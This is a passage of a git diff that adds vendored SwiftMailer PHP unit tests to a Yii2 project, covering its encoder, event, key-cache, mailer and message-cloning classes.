$charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importString') + ->once() + ->with($string); + $charStream->shouldReceive('read') + ->atLeast()->times(1) + ->andReturn(false); + $encoder = new Swift_Encoder_Rfc2231Encoder($charStream); + $encoded = $encoder->encodeString($string, 25, 75); + + $this->assertEquals( + str_repeat('a', 50)."\r\n". + str_repeat('a', 75)."\r\n". + str_repeat('a', 75), + $encoded, + '%s: First line should be 25 bytes shorter than the others.' + ); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/CommandEventTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/CommandEventTest.php new file mode 100644 index 00000000..7e598025 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/CommandEventTest.php @@ -0,0 +1,36 @@ +_createEvent($this->_createTransport(), "FOO\r\n"); + $this->assertEquals("FOO\r\n", $evt->getCommand()); + } + + public function testSuccessCodesCanBeFetchedViaGetter() + { + $evt = $this->_createEvent($this->_createTransport(), "FOO\r\n", array(250)); + $this->assertEquals(array(250), $evt->getSuccessCodes()); + } + + public function testSourceIsBuffer() + { + $transport = $this->_createTransport(); + $evt = $this->_createEvent($transport, "FOO\r\n"); + $ref = $evt->getSource(); + $this->assertEquals($transport, $ref); + } + + // -- Creation Methods + + private function _createEvent(Swift_Transport $source, $command, $successCodes = array()) + { + return new Swift_Events_CommandEvent($source, $command, $successCodes); + } + + private function _createTransport() + { + return $this->getMock('Swift_Transport'); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/EventObjectTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/EventObjectTest.php new file mode 100644 index 00000000..62a91be5 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/EventObjectTest.php @@ -0,0 +1,34 @@ +_createEvent($source); + $ref = $evt->getSource(); + $this->assertEquals($source, $ref); + } + + public function testEventDoesNotHaveCancelledBubbleWhenNew() + { + $source = new stdClass(); + $evt = $this->_createEvent($source); + $this->assertFalse($evt->bubbleCancelled()); + } + + public function testBubbleCanBeCancelledInEvent() + { + $source = new stdClass(); + $evt = $this->_createEvent($source); + $evt->cancelBubble(); + $this->assertTrue($evt->bubbleCancelled()); + } + + // -- Creation Methods + + private function _createEvent($source) + { + return new Swift_Events_EventObject($source); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/ResponseEventTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/ResponseEventTest.php new file mode 100644 index 00000000..e0f3e362 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/ResponseEventTest.php @@ -0,0 +1,40 @@ +_createEvent($this->_createTransport(), "250 Ok\r\n", true); + $this->assertEquals("250 Ok\r\n", $evt->getResponse(), + '%s: Response should be available via getResponse()' + ); + } + + public function testResultCanBeFetchedViaGetter() + { + $evt = $this->_createEvent($this->_createTransport(), "250 Ok\r\n", false); + $this->assertFalse($evt->isValid(), + '%s: Result should be checkable via isValid()' + ); + } + + public function testSourceIsBuffer() + { + $transport = $this->_createTransport(); + $evt = $this->_createEvent($transport, "250 Ok\r\n", true); + $ref = $evt->getSource(); + $this->assertEquals($transport, $ref); + } + + // -- Creation Methods + + private function _createEvent(Swift_Transport $source, $response, $result) + { + return new Swift_Events_ResponseEvent($source, $response, $result); + } + + private function _createTransport() + { + return $this->getMock('Swift_Transport'); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/SendEventTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/SendEventTest.php new file mode 100644 index 00000000..80038700 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/SendEventTest.php @@ -0,0 +1,99 @@ +_createMessage(); + $transport = $this->_createTransport(); + + $evt = $this->_createEvent($transport, $message); + + $ref = $evt->getMessage(); + $this->assertEquals($message, $ref, + '%s: Message should be returned from getMessage()' + ); + } + + public function testTransportCanBeFetchViaGetter() + { + $message = $this->_createMessage(); + $transport = $this->_createTransport(); + + $evt = $this->_createEvent($transport, $message); + + $ref = $evt->getTransport(); + $this->assertEquals($transport, $ref, + '%s: Transport should be returned from getTransport()' + ); + } + + public function testTransportCanBeFetchViaGetSource() + { + $message = $this->_createMessage(); + $transport = $this->_createTransport(); + + $evt = $this->_createEvent($transport, $message); + + $ref = $evt->getSource(); + $this->assertEquals($transport, $ref, + '%s: Transport should be returned from getSource()' + ); + } + + public function testResultCanBeSetAndGet() + { + $message = $this->_createMessage(); + $transport = $this->_createTransport(); + + $evt = $this->_createEvent($transport, $message); + + $evt->setResult( + Swift_Events_SendEvent::RESULT_SUCCESS | Swift_Events_SendEvent::RESULT_TENTATIVE + ); + + $this->assertTrue((bool) ($evt->getResult() & Swift_Events_SendEvent::RESULT_SUCCESS)); + $this->assertTrue((bool) ($evt->getResult() & Swift_Events_SendEvent::RESULT_TENTATIVE)); + } + + public function testFailedRecipientsCanBeSetAndGet() + { + $message = $this->_createMessage(); + $transport = $this->_createTransport(); + + $evt = $this->_createEvent($transport, $message); + + $evt->setFailedRecipients(array('foo@bar', 'zip@button')); + + $this->assertEquals(array('foo@bar', 'zip@button'), $evt->getFailedRecipients(), + '%s: FailedRecipients should be returned from getter' + ); + } + + public function testFailedRecipientsGetsPickedUpCorrectly() + { + $message = $this->_createMessage(); + $transport = $this->_createTransport(); + + $evt = $this->_createEvent($transport, $message); + $this->assertEquals(array(), $evt->getFailedRecipients()); + } + + // -- Creation Methods + + private function _createEvent(Swift_Transport $source, + Swift_Mime_Message $message) + { + return new Swift_Events_SendEvent($source, $message); + } + + private function _createTransport() + { + return $this->getMock('Swift_Transport'); + } + + private function _createMessage() + { + return $this->getMock('Swift_Mime_Message'); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/SimpleEventDispatcherTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/SimpleEventDispatcherTest.php new file mode 100644 index 00000000..52ae07c6 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/SimpleEventDispatcherTest.php @@ -0,0 +1,135 @@ +_dispatcher = new Swift_Events_SimpleEventDispatcher(); + } + + public function testSendEventCanBeCreated() + { + $transport = $this->getMock('Swift_Transport'); + $message = $this->getMock('Swift_Mime_Message'); + $evt = $this->_dispatcher->createSendEvent($transport, $message); + $this->assertInstanceof('Swift_Events_SendEvent', $evt); + $this->assertSame($message, $evt->getMessage()); + $this->assertSame($transport, $evt->getTransport()); + } + + public function testCommandEventCanBeCreated() + { + $buf = $this->getMock('Swift_Transport'); + $evt = $this->_dispatcher->createCommandEvent($buf, "FOO\r\n", array(250)); + $this->assertInstanceof('Swift_Events_CommandEvent', $evt); + $this->assertSame($buf, $evt->getSource()); + $this->assertEquals("FOO\r\n", $evt->getCommand()); + $this->assertEquals(array(250), $evt->getSuccessCodes()); + } + + public function testResponseEventCanBeCreated() + { + $buf = $this->getMock('Swift_Transport'); + $evt = $this->_dispatcher->createResponseEvent($buf, "250 Ok\r\n", true); + $this->assertInstanceof('Swift_Events_ResponseEvent', $evt); + $this->assertSame($buf, $evt->getSource()); + $this->assertEquals("250 Ok\r\n", $evt->getResponse()); + $this->assertTrue($evt->isValid()); + } + + public function testTransportChangeEventCanBeCreated() + { + $transport = $this->getMock('Swift_Transport'); + $evt = $this->_dispatcher->createTransportChangeEvent($transport); + $this->assertInstanceof('Swift_Events_TransportChangeEvent', $evt); + $this->assertSame($transport, $evt->getSource()); + } + + public function testTransportExceptionEventCanBeCreated() + { + $transport = $this->getMock('Swift_Transport'); + $ex = new Swift_TransportException(''); + $evt = $this->_dispatcher->createTransportExceptionEvent($transport, $ex); + $this->assertInstanceof('Swift_Events_TransportExceptionEvent', $evt); + $this->assertSame($transport, $evt->getSource()); + $this->assertSame($ex, $evt->getException()); + } + + public function testListenersAreNotifiedOfDispatchedEvent() + { + $transport = $this->getMock('Swift_Transport'); + + $evt = $this->_dispatcher->createTransportChangeEvent($transport); + + $listenerA = $this->getMock('Swift_Events_TransportChangeListener'); + $listenerB = $this->getMock('Swift_Events_TransportChangeListener'); + + $this->_dispatcher->bindEventListener($listenerA); + $this->_dispatcher->bindEventListener($listenerB); + + $listenerA->expects($this->once()) + ->method('transportStarted') + ->with($evt); + $listenerB->expects($this->once()) + ->method('transportStarted') + ->with($evt); + + $this->_dispatcher->dispatchEvent($evt, 'transportStarted'); + } + + public function testListenersAreOnlyCalledIfImplementingCorrectInterface() + { + $transport = $this->getMock('Swift_Transport'); + $message = $this->getMock('Swift_Mime_Message'); + + $evt = $this->_dispatcher->createSendEvent($transport, $message); + + $targetListener = $this->getMock('Swift_Events_SendListener'); + $otherListener = $this->getMock('Swift_Events_TransportChangeListener'); + + $this->_dispatcher->bindEventListener($targetListener); + $this->_dispatcher->bindEventListener($otherListener); + + $targetListener->expects($this->once()) + ->method('sendPerformed') + ->with($evt); + $otherListener->expects($this->never()) + ->method('sendPerformed'); + + $this->_dispatcher->dispatchEvent($evt, 'sendPerformed'); + } + + public function testListenersCanCancelBubblingOfEvent() + { + $transport = $this->getMock('Swift_Transport'); + $message = $this->getMock('Swift_Mime_Message'); + + $evt = $this->_dispatcher->createSendEvent($transport, $message); + + $listenerA = $this->getMock('Swift_Events_SendListener'); + $listenerB = $this->getMock('Swift_Events_SendListener'); + + $this->_dispatcher->bindEventListener($listenerA); + $this->_dispatcher->bindEventListener($listenerB); + + $listenerA->expects($this->once()) + ->method('sendPerformed') + ->with($evt) + ->will($this->returnCallback(function ($object) { + $object->cancelBubble(true); + })); + $listenerB->expects($this->never()) + ->method('sendPerformed'); + + $this->_dispatcher->dispatchEvent($evt, 'sendPerformed'); + + $this->assertTrue($evt->bubbleCancelled()); + } + + private function _createDispatcher(array $map) + { + return new Swift_Events_SimpleEventDispatcher($map); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/TransportChangeEventTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/TransportChangeEventTest.php new file mode 100644 index 00000000..40bec834 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/TransportChangeEventTest.php @@ -0,0 +1,32 @@ +_createTransport(); + $evt = $this->_createEvent($transport); + $ref = $evt->getTransport(); + $this->assertEquals($transport, $ref); + } + + public function testSourceIsTransport() + { + $transport = $this->_createTransport(); + $evt = $this->_createEvent($transport); + $ref = $evt->getSource(); + $this->assertEquals($transport, $ref); + } + + // -- Creation Methods + + private function _createEvent(Swift_Transport $source) + { + return new Swift_Events_TransportChangeEvent($source); + } + + private function _createTransport() + { + return $this->getMock('Swift_Transport'); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/TransportExceptionEventTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/TransportExceptionEventTest.php new file mode 100644 index 00000000..86c636b5 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Events/TransportExceptionEventTest.php @@ -0,0 +1,43 @@ +_createException(); + $transport = $this->_createTransport(); + $evt = $this->_createEvent($transport, $ex); + $ref = $evt->getException(); + $this->assertEquals($ex, $ref, + '%s: Exception should be available via getException()' + ); + } + + public function testSourceIsTransport() + { + $ex = $this->_createException(); + $transport = $this->_createTransport(); + $evt = $this->_createEvent($transport, $ex); + $ref = $evt->getSource(); + $this->assertEquals($transport, $ref, + '%s: Transport should be available via getSource()' + ); + } + + // -- Creation Methods + + private function _createEvent(Swift_Transport $transport, Swift_TransportException $ex) + { + return new Swift_Events_TransportExceptionEvent($transport, $ex); + } + + private function _createTransport() + { + return $this->getMock('Swift_Transport'); + } + + private function _createException() + { + return new Swift_TransportException(''); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/KeyCache/ArrayKeyCacheTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/KeyCache/ArrayKeyCacheTest.php new file mode 100644 index 00000000..36512cff --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/KeyCache/ArrayKeyCacheTest.php @@ -0,0 +1,242 @@ +_createKeyCacheInputStream(); + $cache = $this->_createCache($is); + $cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $this->assertEquals('test', $cache->getString($this->_key1, 'foo')); + } + + public function testStringDataCanBeOverwritten() + { + $is = $this->_createKeyCacheInputStream(); + $cache = $this->_createCache($is); + $cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $cache->setString( + $this->_key1, 'foo', 'whatever', Swift_KeyCache::MODE_WRITE + ); + + $this->assertEquals('whatever', $cache->getString($this->_key1, 'foo')); + } + + public function testStringDataCanBeAppended() + { + $is = $this->_createKeyCacheInputStream(); + $cache = $this->_createCache($is); + $cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $cache->setString( + $this->_key1, 'foo', 'ing', Swift_KeyCache::MODE_APPEND + ); + + $this->assertEquals('testing', $cache->getString($this->_key1, 'foo')); + } + + public function testHasKeyReturnValue() + { + $is = $this->_createKeyCacheInputStream(); + $cache = $this->_createCache($is); + $cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + + $this->assertTrue($cache->hasKey($this->_key1, 'foo')); + } + + public function testNsKeyIsWellPartitioned() + { + $is = $this->_createKeyCacheInputStream(); + $cache = $this->_createCache($is); + $cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $cache->setString( + $this->_key2, 'foo', 'ing', Swift_KeyCache::MODE_WRITE + ); + + $this->assertEquals('test', $cache->getString($this->_key1, 'foo')); + $this->assertEquals('ing', $cache->getString($this->_key2, 'foo')); + } + + public function testItemKeyIsWellPartitioned() + { + $is = $this->_createKeyCacheInputStream(); + $cache = $this->_createCache($is); + $cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $cache->setString( + $this->_key1, 'bar', 'ing', Swift_KeyCache::MODE_WRITE + ); + + $this->assertEquals('test', $cache->getString($this->_key1, 'foo')); + $this->assertEquals('ing', $cache->getString($this->_key1, 'bar')); + } + + public function testByteStreamCanBeImported() + { + $os = $this->_createOutputStream(); + $os->expects($this->at(0)) + ->method('read') + ->will($this->returnValue('abc')); + $os->expects($this->at(1)) + ->method('read') + ->will($this->returnValue('def')); + $os->expects($this->at(2)) + ->method('read') + ->will($this->returnValue(false)); + + $is = $this->_createKeyCacheInputStream(); + $cache = $this->_createCache($is); + $cache->importFromByteStream( + $this->_key1, 'foo', $os, Swift_KeyCache::MODE_WRITE + ); + $this->assertEquals('abcdef', $cache->getString($this->_key1, 'foo')); + } + + public function testByteStreamCanBeAppended() + { + $os1 = $this->_createOutputStream(); + $os1->expects($this->at(0)) + ->method('read') + ->will($this->returnValue('abc')); + $os1->expects($this->at(1)) + ->method('read') + ->will($this->returnValue('def')); + $os1->expects($this->at(2)) + ->method('read') + ->will($this->returnValue(false)); + + $os2 = $this->_createOutputStream(); + $os2->expects($this->at(0)) + ->method('read') + ->will($this->returnValue('xyz')); + $os2->expects($this->at(1)) + ->method('read') + ->will($this->returnValue('uvw')); + $os2->expects($this->at(2)) + ->method('read') + ->will($this->returnValue(false)); + + $is = $this->_createKeyCacheInputStream(true); + + $cache = $this->_createCache($is); + + $cache->importFromByteStream( + $this->_key1, 'foo', $os1, Swift_KeyCache::MODE_APPEND + ); + $cache->importFromByteStream( + $this->_key1, 'foo', $os2, Swift_KeyCache::MODE_APPEND + ); + + $this->assertEquals('abcdefxyzuvw', $cache->getString($this->_key1, 'foo')); + } + + public function testByteStreamAndStringCanBeAppended() + { + $os = $this->_createOutputStream(); + $os->expects($this->at(0)) + ->method('read') + ->will($this->returnValue('abc')); + $os->expects($this->at(1)) + ->method('read') + ->will($this->returnValue('def')); + $os->expects($this->at(2)) + ->method('read') + ->will($this->returnValue(false)); + + $is = $this->_createKeyCacheInputStream(true); + + $cache = $this->_createCache($is); + + $cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_APPEND + ); + $cache->importFromByteStream( + $this->_key1, 'foo', $os, Swift_KeyCache::MODE_APPEND + ); + $this->assertEquals('testabcdef', $cache->getString($this->_key1, 'foo')); + } + + public function testDataCanBeExportedToByteStream() + { + //See acceptance test for more detail + $is = $this->_createInputStream(); + $is->expects($this->atLeastOnce()) + ->method('write'); + + $kcis = $this->_createKeyCacheInputStream(true); + + $cache = $this->_createCache($kcis); + + $cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + + $cache->exportToByteStream($this->_key1, 'foo', $is); + } + + public function testKeyCanBeCleared() + { + $is = $this->_createKeyCacheInputStream(); + $cache = $this->_createCache($is); + + $cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $this->assertTrue($cache->hasKey($this->_key1, 'foo')); + $cache->clearKey($this->_key1, 'foo'); + $this->assertFalse($cache->hasKey($this->_key1, 'foo')); + } + + public function testNsKeyCanBeCleared() + { + $is = $this->_createKeyCacheInputStream(); + $cache = $this->_createCache($is); + + $cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $cache->setString( + $this->_key1, 'bar', 'xyz', Swift_KeyCache::MODE_WRITE + ); + $this->assertTrue($cache->hasKey($this->_key1, 'foo')); + $this->assertTrue($cache->hasKey($this->_key1, 'bar')); + $cache->clearAll($this->_key1); + $this->assertFalse($cache->hasKey($this->_key1, 'foo')); + $this->assertFalse($cache->hasKey($this->_key1, 'bar')); + } + + // -- Creation methods + + private function _createCache($is) + { + return new Swift_KeyCache_ArrayKeyCache($is); + } + + private function _createKeyCacheInputStream() + { + return $this->getMock('Swift_KeyCache_KeyCacheInputStream'); + } + + private function _createOutputStream() + { + return $this->getMock('Swift_OutputByteStream'); + } + + private function _createInputStream() + { + return $this->getMock('Swift_InputByteStream'); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/KeyCache/SimpleKeyCacheInputStreamTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/KeyCache/SimpleKeyCacheInputStreamTest.php new file mode 100644 index 00000000..691c1e79 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/KeyCache/SimpleKeyCacheInputStreamTest.php @@ -0,0 +1,73 @@ +getMock('Swift_KeyCache'); + $cache->expects($this->at(0)) + ->method('setString') + ->with($this->_nsKey, 'foo', 'a', Swift_KeyCache::MODE_APPEND); + $cache->expects($this->at(1)) + ->method('setString') + ->with($this->_nsKey, 'foo', 'b', Swift_KeyCache::MODE_APPEND); + $cache->expects($this->at(2)) + ->method('setString') + ->with($this->_nsKey, 'foo', 'c', Swift_KeyCache::MODE_APPEND); + + $stream = new Swift_KeyCache_SimpleKeyCacheInputStream(); + $stream->setKeyCache($cache); + $stream->setNsKey($this->_nsKey); + $stream->setItemKey('foo'); + + $stream->write('a'); + $stream->write('b'); + $stream->write('c'); + } + + public function testFlushContentClearsKey() + { + $cache = $this->getMock('Swift_KeyCache'); + $cache->expects($this->once()) + ->method('clearKey') + ->with($this->_nsKey, 'foo'); + + $stream = new Swift_KeyCache_SimpleKeyCacheInputStream(); + $stream->setKeyCache($cache); + $stream->setNsKey($this->_nsKey); + $stream->setItemKey('foo'); + + $stream->flushBuffers(); + } + + public function testClonedStreamStillReferencesSameCache() + { + $cache = $this->getMock('Swift_KeyCache'); + $cache->expects($this->at(0)) + ->method('setString') + ->with($this->_nsKey, 'foo', 'a', Swift_KeyCache::MODE_APPEND); + $cache->expects($this->at(1)) + ->method('setString') + ->with($this->_nsKey, 'foo', 'b', Swift_KeyCache::MODE_APPEND); + $cache->expects($this->at(2)) + ->method('setString') + ->with('test', 'bar', 'x', Swift_KeyCache::MODE_APPEND); + + $stream = new Swift_KeyCache_SimpleKeyCacheInputStream(); + $stream->setKeyCache($cache); + $stream->setNsKey($this->_nsKey); + $stream->setItemKey('foo'); + + $stream->write('a'); + $stream->write('b'); + + $newStream = clone $stream; + $newStream->setKeyCache($cache); + $newStream->setNsKey('test'); + $newStream->setItemKey('bar'); + + $newStream->write('x'); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mailer/ArrayRecipientIteratorTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mailer/ArrayRecipientIteratorTest.php new file mode 100644 index 00000000..ff0bce4f --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mailer/ArrayRecipientIteratorTest.php @@ -0,0 +1,42 @@ +assertFalse($it->hasNext()); + } + + public function testHasNextReturnsTrueIfItemsLeft() + { + $it = new Swift_Mailer_ArrayRecipientIterator(array('foo@bar' => 'Foo')); + $this->assertTrue($it->hasNext()); + } + + public function testReadingToEndOfListCausesHasNextToReturnFalse() + { + $it = new Swift_Mailer_ArrayRecipientIterator(array('foo@bar' => 'Foo')); + $this->assertTrue($it->hasNext()); + $it->nextRecipient(); + $this->assertFalse($it->hasNext()); + } + + public function testReturnedValueHasPreservedKeyValuePair() + { + $it = new Swift_Mailer_ArrayRecipientIterator(array('foo@bar' => 'Foo')); + $this->assertEquals(array('foo@bar' => 'Foo'), $it->nextRecipient()); + } + + public function testIteratorMovesNextAfterEachIteration() + { + $it = new Swift_Mailer_ArrayRecipientIterator(array( + 'foo@bar' => 'Foo', + 'zip@button' => 'Zip thing', + 'test@test' => null, + )); + $this->assertEquals(array('foo@bar' => 'Foo'), $it->nextRecipient()); + $this->assertEquals(array('zip@button' => 'Zip thing'), $it->nextRecipient()); + $this->assertEquals(array('test@test' => null), $it->nextRecipient()); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/MailerTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/MailerTest.php new file mode 100644 index 00000000..db0b35a0 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/MailerTest.php @@ -0,0 +1,152 @@ +_createTransport(); + $message = $this->_createMessage(); + + $started = false; + $transport->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$started) { + return $started; + }); + $transport->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$started) { + $started = true; + + return; + }); + + $mailer = $this->_createMailer($transport); + $mailer->send($message); + } + + public function testTransportIsOnlyStartedOnce() + { + $transport = $this->_createTransport(); + $message = $this->_createMessage(); + + $started = false; + $transport->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$started) { + return $started; + }); + $transport->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$started) { + $started = true; + + return; + }); + + $mailer = $this->_createMailer($transport); + for ($i = 0; $i < 10; ++$i) { + $mailer->send($message); + } + } + + public function testMessageIsPassedToTransport() + { + $transport = $this->_createTransport(); + $message = $this->_createMessage(); + $transport->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()); + + $mailer = $this->_createMailer($transport); + $mailer->send($message); + } + + public function testSendReturnsCountFromTransport() + { + $transport = $this->_createTransport(); + $message = $this->_createMessage(); + $transport->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturn(57); + + $mailer = $this->_createMailer($transport); + $this->assertEquals(57, $mailer->send($message)); + } + + public function testFailedRecipientReferenceIsPassedToTransport() + { + $failures = array(); + + $transport = $this->_createTransport(); + $message = $this->_createMessage(); + $transport->shouldReceive('send') + ->once() + ->with($message, $failures) + ->andReturn(57); + + $mailer = $this->_createMailer($transport); + $mailer->send($message, $failures); + } + + public function testSendRecordsRfcComplianceExceptionAsEntireSendFailure() + { + $failures = array(); + + $rfcException = new Swift_RfcComplianceException('test'); + $transport = $this->_createTransport(); + $message = $this->_createMessage(); + $message->shouldReceive('getTo') + ->once() + ->andReturn(array('foo&invalid' => 'Foo', 'bar@valid.tld' => 'Bar')); + $transport->shouldReceive('send') + ->once() + ->with($message, $failures) + ->andThrow($rfcException); + + $mailer = $this->_createMailer($transport); + $this->assertEquals(0, $mailer->send($message, $failures), '%s: Should return 0'); + $this->assertEquals(array('foo&invalid', 'bar@valid.tld'), $failures, '%s: Failures should contain all addresses since the entire message failed to compile'); + } + + public function testRegisterPluginDelegatesToTransport() + { + $plugin = $this->_createPlugin(); + $transport = $this->_createTransport(); + $mailer = $this->_createMailer($transport); + + $transport->shouldReceive('registerPlugin') + ->once() + ->with($plugin); + + $mailer->registerPlugin($plugin); + } + + // -- Creation methods + + private function _createPlugin() + { + return $this->getMockery('Swift_Events_EventListener')->shouldIgnoreMissing(); + } + + private function _createTransport() + { + return $this->getMockery('Swift_Transport')->shouldIgnoreMissing(); + } + + private function _createMessage() + { + return $this->getMockery('Swift_Mime_Message')->shouldIgnoreMissing(); + } + + private function _createIterator() + { + return $this->getMockery('Swift_Mailer_RecipientIterator')->shouldIgnoreMissing(); + } + + private function _createMailer(Swift_Transport $transport) + { + return new Swift_Mailer($transport); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/MessageTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/MessageTest.php new file mode 100644 index 00000000..d4afcd7c --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/MessageTest.php @@ -0,0 +1,128 @@ +_recursiveObjectCloningCheck($message1, $message2, $message1_clone); + } + + public function testCloningWithSigners() + { + $message1 = new Swift_Message('subj', 'body', 'ctype'); + $signer = new Swift_Signers_DKIMSigner(dirname(dirname(__DIR__)).'/_samples/dkim/dkim.test.priv', 'test.example', 'example'); + $message1->attachSigner($signer); + $message2 = new Swift_Message('subj', 'body', 'ctype'); + $signer = new Swift_Signers_DKIMSigner(dirname(dirname(__DIR__)).'/_samples/dkim/dkim.test.priv', 'test.example', 'example'); + $message2->attachSigner($signer); + $message1_clone = clone $message1; + + $this->_recursiveObjectCloningCheck($message1, $message2, $message1_clone); + } + + public function testBodySwap() + { + $message1 = new Swift_Message('Test'); + $html = Swift_MimePart::newInstance('', 'text/html'); + $html->getHeaders()->addTextHeader('X-Test-Remove', 'Test-Value'); + $html->getHeaders()->addTextHeader('X-Test-Alter', 'Test-Value'); + $message1->attach($html); + $source = $message1->toString(); + $message2 = clone $message1; + $message2->setSubject('Message2'); + foreach ($message2->getChildren() as $child) { + $child->setBody('Test'); + $child->getHeaders()->removeAll('X-Test-Remove'); + $child->getHeaders()->get('X-Test-Alter')->setValue('Altered'); + } + $final = $message1->toString(); + if ($source != $final) { + $this->fail("Difference although object cloned \n [".$source."]\n[".$final."]\n"); + } + $final = $message2->toString(); + if ($final == $source) { + $this->fail('Two body matches although they should differ'."\n [".$source."]\n[".$final."]\n"); + } + $id_1 = $message1->getId(); + $id_2 = $message2->getId(); + $this->assertNotEquals($id_1, $id_2, 'Message Ids are the same'); + } + + // -- Private helpers + protected function _recursiveObjectCloningCheck($obj1, $obj2, $obj1_clone) + { + $obj1_properties = (array) $obj1; + $obj2_properties = (array) $obj2; + $obj1_clone_properties = (array) $obj1_clone; + + foreach ($obj1_properties as $property => $value) { + if (is_object($value)) { + $obj1_value = $obj1_properties[$property]; + $obj2_value = $obj2_properties[$property]; + $obj1_clone_value = $obj1_clone_properties[$property]; + + if ($obj1_value !== $obj2_value) { + // two separetely instanciated objects property not referencing same object + $this->assertFalse( + // but object's clone does - not everything copied + $obj1_value === $obj1_clone_value, + "Property `$property` cloning error: source and cloned objects property is referencing same object" + ); + } else { + // two separetely instanciated objects have same reference + $this->assertFalse( + // but object's clone doesn't - overdone making copies + $obj1_value !== $obj1_clone_value, + "Property `$property` not properly cloned: it should reference same object as cloning source (overdone copping)" + ); + } + // recurse + $this->_recursiveObjectCloningCheck($obj1_value, $obj2_value, $obj1_clone_value); + } elseif (is_array($value)) { + $obj1_value = $obj1_properties[$property]; + $obj2_value = $obj2_properties[$property]; + $obj1_clone_value = $obj1_clone_properties[$property]; + + return $this->_recursiveArrayCloningCheck($obj1_value, $obj2_value, $obj1_clone_value); + } + } + } + + protected function _recursiveArrayCloningCheck($array1, $array2, $array1_clone) + { + foreach ($array1 as $key => $value) { + if (is_object($value)) { + $arr1_value = $array1[$key]; + $arr2_value = $array2[$key]; + $arr1_clone_value = $array1_clone[$key]; + if ($arr1_value !== $arr2_value) { + // two separetely instanciated objects property not referencing same object + $this->assertFalse( + // but object's clone does - not everything copied + $arr1_value === $arr1_clone_value, + "Key `$key` cloning error: source and cloned objects property is referencing same object" + ); + } else { + // two separetely instanciated objects have same reference + $this->assertFalse( + // but object's clone doesn't - overdone making copies + $arr1_value !== $arr1_clone_value, + "Key `$key` not properly cloned: it should reference same object as cloning source (overdone copping)" + ); + } + // recurse + $this->_recursiveObjectCloningCheck($arr1_value, $arr2_value, $arr1_clone_value); + } elseif (is_array($value)) { + $arr1_value = $array1[$key]; + $arr2_value = $array2[$key]; + $arr1_clone_value = $array1_clone[$key]; + + return $this->_recursiveArrayCloningCheck($obj1_value, $obj2_value, $obj1_clone_value); 